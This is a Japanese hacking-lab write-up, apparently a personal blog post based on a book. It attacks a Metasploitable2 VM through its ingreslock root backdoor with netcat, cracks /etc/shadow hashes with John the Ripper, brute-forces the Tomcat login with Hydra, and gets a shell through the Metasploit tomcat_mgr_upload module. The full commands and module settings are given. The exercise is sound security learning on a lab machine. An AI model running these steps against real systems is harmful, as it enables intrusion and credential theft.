はじめに
この記事は、「ハッキング・ラボのつくりかた」P.384-393を参考にしています。
バックドアの確認とhttp認証の解析を行っていきます。
以前書いた記事で、「Metasploitable root shellからは脆弱性を見つけることができなかった」と書きました。しかし、同書では、「かなり怪しい」、「名前から誰かにすでに侵入されており、バックドア(ルート権限のシェル)が設置されていると推測できます。」としています。
これは、すでに設けられたバックドアとのこと。
確認してみます。
注意事項
記事で紹介されている行為を他人や団体、インフラなどの許可を得ずに行った場合、犯罪となる可能性が有ります。
あくまでも、記事の内容は情報セキュリティの学習です。読者様の所有・管理の機器、システムでのみ実行してください。
また、読者さまのシステムにトラブルが起きたとしても、私は責任を負いかねます。
バックドアの確認
Metasploitable root shellのポート番号1524のサービス名を確認する。
nmap -p 1524 192.168.56.5
#または
nmap -p1524 192.168.56.5
ingreslockと出力された。Wikipediaによれば、「商用サポートのある、オープンソースの関係データベース管理システム」とのこと。
とりあえず、Netcatで接続してみる。
nc 192.168.56.5 1524
すると、root権限でアクセスが可能。たしかにバックドアだった。
shadowファイルからパスワードを復号化する
nc 192.168.56.5 1524
でアクセスできたついでに、Metasploitable2のパスワードを窃取したい。
パスワードは、"/etc/shadow"というテキストファイルにハッシュ化された状態で保存されている。このファイルは、shadowグループのユーザが読み込みが可能で、rootユーザだけが読み書きできる。
同書では、rootとmsfadminアカウントのパスワードの解析を行っている。
今回、わたしは、すべてのアカウントのパスワードの解析に挑戦した。
辞書攻撃では、klog,sys,serviceのアカウントのパスワードが判明した。
john --wordlist=/usr/share/john/password.lst metasploitable_passwd.lst
ユーザー名 | パスワード |
---|---|
klong | 123456789 |
sys | batman |
service | service |
総当り攻撃は、非常に時間がかかるので、途中で打ち切った。結局、newuserのアカウントのパスワードしか判明しなかった。
john --incremental metasploitable_passwd.lst
ユーザー名 | パスワード |
---|---|
newuser | nn |
HydraでHTTPの認証を解析する
Firefoxに"http://192.168.56.5:8180/admin/"と入力して、Tomcatの画面を開く。
wiresharkでパケットを収集しつつ、適当なユーザー名とパスワードでTomcatにログインしようとすると、同書のP.388のようなパケット情報が入手できた。
パケットの情報の中で、Hydraに必要なものは以下の通り
- やられマシンのIPアドレス : 192.168.56.5
- 認証ページ" : "/admin/j_security_check"
- データの送信方式 : POSTメソッド http-form-post
- ユーザー名変数 : j_username
- パスワード変数 : j_password
httpは、認証を前提としたプロトコルではない。すべてのwebページが、ユーザー名とパスワードで認証を要求するとは限らないことからもわかる。webページ作成者が指定したhttp応答の内容で判断する必要がある。
今回は、ユーザー名もパスワードも不明。認証が失敗したときに、http応答がどのようになるのかは攻撃側からもわかる。
hydraでhttpの認証を解析するときは、認証が失敗したときのメッセージを指定する。
コマンドを実行する
hydra -L user.lst -P pass.lst -s 8180 192.168.56.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:Invalid username or password"
次のように指定すると、正しいTomcatのアカウント情報以外に、Metasploitable2に保存されているユーザー名やパスワードが無秩序に出力される。
hydra -L user.lst -P pass.lst -s 8180 192.168.56.5 http-form-post "/admin/j_security_check:j_username=^USER^&j_password=^PASS^:ユーザ名またはパスワードが違います"
直接の役には立たないが、アカウントをハッキングする参考にはなるかも。
tomcat経由でシェルを奪取
Metasploitのモジュールでシェルを奪取する。
use exploit/multi/http/tomcat_mgr_upload
set target 2
set payload linux/x86/shell_bind_tcp
set httpusername tomcat
set httppassword tomcat
set rhost 192.168.56.5
set rport 8180
show options
exploit
show options
で下記の通りになっているか確認したあと、exploit
で実行する。
Module options (exploit/multi/http/tomcat_mgr_upload):
Name Current Setting Required Description
---- --------------- -------- -----------
HttpPassword tomcat no The password for the specified use
rname
HttpUsername tomcat no The username to authenticate as
Proxies no A proxy chain of format type:host:
port[,type:host:port][...]
RHOSTS 192.168.56.5 yes The target host(s), see https://gi
thub.com/rapid7/metasploit-framewo
rk/wiki/Using-Metasploit
RPORT 8180 yes The target port (TCP)
SSL false no Negotiate SSL/TLS for outgoing con
nections
TARGETURI /manager yes The URI path of the manager app (/
html/upload and /undeploy will be
used)
VHOST no HTTP server virtual host
Payload options (linux/x86/shell_bind_tcp):
Name Current Setting Required Description
---- --------------- -------- -----------
LPORT 4444 yes The listen port
RHOST 192.168.56.5 no The target address
Exploit target:
Id Name
-- ----
2 Linux x86
無事、exploitできた。
Apache Tomcat Manager - Application Deployer (Authenticated) Code Execution (Metasploit) に、報告されている脆弱性を悪用したモジュールを利用した。
終わりに
参考にしたもの
「ハッキング・ラボのつくりかた」(OPUSIRON著)